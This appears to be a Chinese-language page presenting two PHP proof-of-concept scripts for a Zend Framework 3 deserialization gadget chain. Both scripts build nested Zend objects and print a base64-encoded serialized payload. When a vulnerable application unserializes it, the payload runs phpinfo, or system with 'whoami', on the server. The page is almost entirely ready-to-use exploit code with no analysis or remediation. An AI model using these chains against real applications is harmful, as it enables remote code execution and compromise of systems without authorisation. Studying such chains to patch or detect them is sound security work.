zendframe3反序列化利用链

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

namespace Zend\Http\Response {
class Stream
{
protected $cleanup = true;
protected $streamName;

public function __construct($streamName)
{
$this->streamName = $streamName;
}
}
}

namespace Zend\View\Helper{
class Gravatar{
protected $view;
// protected $attributes = ["whoami"=>'a'];
protected $attributes = [1=>'a'];
public function __construct($view)
{
$this->view=$view;
}
}
}

namespace Zend\View\Renderer{
class PhpRenderer{
private $__helpers;
public function __construct($__helpers)
{
$this->__helpers = $__helpers;
}
}
}
namespace Zend\Config{
class ReaderPluginManager{
protected $services;
protected $instanceOf ="Zend\Validator\Callback";
public function __construct($services){
$this->services = ["escapehtml"=>$services,"escapehtmlattr"=>$services];
}
}
}
namespace Zend\Validator{
class Callback{
protected $options = [
'callback' => 'phpinfo',
'callbackOptions' => []
];
}
}

namespace {
$e = new Zend\Validator\Callback();
$d = new Zend\Config\ReaderPluginManager($e);
$c = new Zend\View\Renderer\PhpRenderer($d);
$b = new Zend\View\Helper\Gravatar($c);
$a = new Zend\Http\Response\Stream($b);
echo base64_encode(serialize($a));
}

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

namespace Zend\Http\Response {
class Stream
{
protected $cleanup = true;
protected $streamName;

public function __construct($streamName)
{
$this->streamName = $streamName;
}
}
}

namespace Zend\View\Helper{
class Gravatar{
protected $view;
// protected $attributes = ["whoami"=>'a'];
protected $attributes = ['whoami'=>1];
public function __construct($view)
{
$this->view=$view;
}
}
}

namespace Zend\View\Renderer{
class PhpRenderer{
private $__helpers;
public function __construct($__helpers)
{
$this->__helpers = $__helpers;
}
}
}

namespace Zend\Config{
class Config{
protected $data = [
"escapehtml"=>'system',
"escapehtmlattr"=>'phpinfo'
];
}
}

namespace {
$d = new Zend\Config\Config();
$c = new Zend\View\Renderer\PhpRenderer($d);
$b = new Zend\View\Helper\Gravatar($c);
$a = new Zend\Http\Response\Stream($b);
echo base64_encode(serialize($a));
}